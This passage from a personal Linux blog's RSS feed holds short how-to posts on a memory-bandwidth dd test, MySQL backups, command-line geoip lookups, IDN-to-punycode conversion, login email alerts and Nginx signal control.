Create a binary clock.</p>
<p><strong>74) PROCESSOR / MEMORY BANDWIDTHD? IN GB/S</strong><br />
dd if=/dev/zero of=/dev/null bs=1M count=32768<br />
Read 32GB zero’s and throw them away.<br />
How fast is your system?</p>
<p><strong>75) BACKUP ALL MYSQL DATABASES TO INDIVIDUAL FILES</strong><br />
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip &gt; "$I.sql.gz"; done</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2011/01/many-sick-linux-commands/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Doing geolocation lookups in command line</title>
		<link>http://blog.rayfoo.info/2010/07/doing-geolocation-lookups-in-command-line</link>
		<comments>http://blog.rayfoo.info/2010/07/doing-geolocation-lookups-in-command-line#comments</comments>
		<pubDate>Thu, 08 Jul 2010 09:41:40 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[geolocation]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=624</guid>
		<description><![CDATA[Did you know that it's possible to do your own geoip lookups from the linux command line? You need to install the geoip-bin package in Ubuntu/Debian's APT system: Then after which, lookups can be done as simply as: Note that the lookups are based on the GeoLite Country database.  For more detailed geoip lookups you [...]]]></description>
			<content:encoded><![CDATA[<p>Did you know that it's possible to do your own geoip lookups from the linux command line?</p>
<p>You need to install the geoip-bin package in Ubuntu/Debian's APT system:</p>
<pre class="brush: bash; title: ; notranslate">sudo apt-get install geoip-bin</pre>
<p>Then after which, lookups can be done as simply as:</p>
<pre class="brush: plain; title: ; notranslate">$ geoiplookup 8.8.8.8
GeoIP Country Edition: US, United States</pre>
<p>Note that the lookups are based on the <a href="http://www.maxmind.com/app/geoip_country">GeoLite Country</a> database.  For more detailed geoip lookups you will need to buy the better databases.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2010/07/doing-geolocation-lookups-in-command-line/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Converting IDNs in Ubuntu</title>
		<link>http://blog.rayfoo.info/2010/07/converting-idns-in-ubuntu</link>
		<comments>http://blog.rayfoo.info/2010/07/converting-idns-in-ubuntu#comments</comments>
		<pubDate>Wed, 07 Jul 2010 15:56:06 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[ICANN]]></category>
		<category><![CDATA[IDN]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[punycode]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=613</guid>
		<description><![CDATA[With the start of Internationalized domain names (IDNs) it sparked my interest since it requires conversion to punycode in order to continue working with existing DNS systems/applications, which work with ASCII. Taking a search through Ubuntu's APT system, to see whether any IDN related tools are available... There's the idn package!  Which allows encoding of IDNs [...]]]></description>
			<content:encoded><![CDATA[<p>With the start of <a href="http://en.wikipedia.org/wiki/Internationalized_domain_name">Internationalized domain names</a> (<a href="http://www.icann.org/en/topics/idn/">IDNs</a>) it sparked my interest since it requires conversion to <a href="http://en.wikipedia.org/wiki/Punycode">punycode</a> in order to continue working with existing DNS systems/applications, which work with ASCII.</p>
<p>Taking a search through Ubuntu's APT system, to see whether any IDN related tools are available...</p>
<pre class="brush: plain; title: ; notranslate">$ apt-cache search punycode

libidn11 - GNU Libidn library, implementation of IETF IDN specifications
libidn11-dev - Development files for GNU Libidn, an IDN library
idn - Command line and Emacs interface to GNU Libidn
libidn11-java - Java port of the GNU Libidn library, an IDN implementation
libidna-punycode-perl - encodes Unicode string in Punycode</pre>
<p>There's the idn package!  Which allows encoding of IDNs in punycode in the command line...</p>
<p>Doing an install...</p>
<pre class="brush: bash; title: ; notranslate">$ sudo apt-get install idn -y</pre>
<p>And trying it out!</p>
<pre class="brush: plain; title: ; notranslate">$ idn правительство.рф

libidn 1.15
Copyright 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Simon Josefsson.
GNU Libidn comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of GNU Libidn under the terms of
the GNU Lesser General Public License.  For more information
about these matters, see the file named COPYING.LIB.
xn--80aealotwbjpid2k.xn--p1ai</pre>
<p>And resolving the domain...</p>
<pre class="brush: plain; title: ; notranslate">$ nslookup xn--80aealotwbjpid2k.xn--p1ai

Non-authoritative answer:
Name:	xn--80aealotwbjpid2k.xn--p1ai
Address: 95.173.135.62</pre>
<p>Note that resolving the domain directly results in rubbish!</p>
<pre class="brush: plain; title: ; notranslate">$ nslookup правительство.рф

Non-authoritative answer:
Name:	\208\191\209\128\208\176\208\178\208\184\209\130\208\181\208\187\209\140\209\129\209\130\208\178\208\190.\209\128\209\132
Address: 67.215.65.132</pre>
<p>So, basically from this we understand that applications will need to use the punycode encoded version of the IDN, NOT the original IDN, when resolving.  And there're tools out there already can do that for us.</p>
<p>Since Ubuntu has these <a href="http://packages.ubuntu.com/search?keywords=idn">packages</a>, Debian would also have the corresponding <a href="http://packages.debian.org/search?keywords=idn">packages</a> available too.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2010/07/converting-idns-in-ubuntu/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Getting your server to send an email whenever anyone logs in</title>
		<link>http://blog.rayfoo.info/2009/09/getting-your-server-to-send-an-email-whenever-anyone-logs-in</link>
		<comments>http://blog.rayfoo.info/2009/09/getting-your-server-to-send-an-email-whenever-anyone-logs-in#comments</comments>
		<pubDate>Tue, 29 Sep 2009 16:32:18 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[email notification]]></category>
		<category><![CDATA[hardening]]></category>
		<category><![CDATA[HOWTO]]></category>
		<category><![CDATA[Linode]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[server administration]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=141</guid>
		<description><![CDATA[Running on a VPS like Linode give me plenty of control over what is run, and also plenty of chances to learn more about network administration (along with the heartaches). The code that I used was based from this forum post. This one presumes that your MTA has been setup properly. The original code was [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.linode.com/?r=b1394ed1dfb7ce948e9dadb668234b2e69a2c274"><img class="alignright size-full wp-image-142" title="Linode" src="http://blog.rayfoo.info/wp-content/uploads/2009/09/rubyinside-ad1-310x90.png" alt="rubyinside-ad1-310x90" width="310" height="90" /></a>Running on a VPS like <a href="http://www.linode.com/?r=b1394ed1dfb7ce948e9dadb668234b2e69a2c274">Linode</a> give me plenty of control over what is run, and also plenty of chances to learn more about network administration (along with the heartaches). <img src='http://blog.rayfoo.info/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>The code that I used was based from this <a href="http://www.linode.com/forums/archive/o_t/t_1358/securing_your_linode.html">forum post</a>.  This one presumes that your MTA has been setup properly.  The original code was for protecting your root account (i.e. when anyone logs into your server's root account, you get the notification).</p>
<p>(Note: it is usually not advisable to login as root.  Create a user account and give it sudoer rights instead.  I'd say that's advisable even for servers where there is only one person expected to login, which is you.)<br />
<span id="more-141"></span><br />
&nbsp;</p>
<h1>Protect only the root account</h1>
<p>If you want to protect only the root account, edit the file <code>/root/.bash_profile</code> or <code>/root/.profile</code> (the bash profile file takes precedence)</p>
<p>Add this line at the end:<br />
<code>echo 'ALERT - Root Shell Access on:' `date` `who` | mail -s "Alert: Root Login from `who | awk '{print $6}'`" youremailaddresshere</code><br />
&nbsp;</p>
<h1>Protect all accounts</h1>
<p>If you want to protect ALL accounts, which is better for high security requirements, or for paranoid people like me, you edit the <code>/etc/profile</code> file instead. (you will need root priviledges for this)</p>
<p>For me, I used this instead of the previous command:<br />
<code>echo 'ALERT - Shell Access:' `date` `who` | mail -s "Alert: Shell Access from `who | cut -d"(" -f2 | cut -d")" -f1`" youremailaddresshere</code></p>
<p>With this, you'll get a notification whenever anyone logs in.  The downside to this is that you may get too many emails on a server that has plenty of people logging in.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2009/09/getting-your-server-to-send-an-email-whenever-anyone-logs-in/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Controlling Nginx from command line</title>
		<link>http://blog.rayfoo.info/2009/09/controlling-nginx-from-command-line</link>
		<comments>http://blog.rayfoo.info/2009/09/controlling-nginx-from-command-line#comments</comments>
		<pubDate>Tue, 01 Sep 2009 04:04:25 +0000</pubDate>
		<dc:creator>ray</dc:creator>
				<category><![CDATA[Everything]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[nginx]]></category>

		<guid isPermaLink="false">http://blog.rayfoo.info/?p=30</guid>
		<description><![CDATA[Just learnt of this, that Nginx can be controlled from command line, or more specifically by sending signals to the process, for example: kill -USR1 `cat /path/to/nginx.pid` causes Nginx to reopen log files, suitable for a log rotation job. The reference can be found at the wiki http://wiki.nginx.org/NginxCommandLine Just a quick list of other stuff [...]]]></description>
			<content:encoded><![CDATA[<p>Just learnt of this, that Nginx can be controlled from command line, or more specifically by sending signals to the process, for example:<br />
<code>kill -USR1 `cat /path/to/nginx.pid`</code><br />
causes Nginx to reopen log files, suitable for a log rotation job.</p>
<p>The reference can be found at the wiki <a href="http://wiki.nginx.org/NginxCommandLine">http://wiki.nginx.org/NginxCommandLine</a><br />
<span id="more-30"></span><br />
Just a quick list of other stuff that you can send signals to Nginx to do:</p>
<ul>
<li>TERM, INT =&gt; quick shutdown</li>
<li>QUIT =&gt; graceful shutdown</li>
<li>HUP =&gt; reloads configuration</li>
<li>USR1 =&gt; reopens log files</li>
<li>USR2 =&gt; upgrades the executable on the fly</li>
<li>WINCH =&gt; gracefully shutdown worker processes</li>
</ul>
<p>There're some instructions on how to do various stuffs so do check it out.</p>
<p>Thanks to Jim Ohlstein and 张立冰 for pointing this out.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rayfoo.info/2009/09/controlling-nginx-from-command-line/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

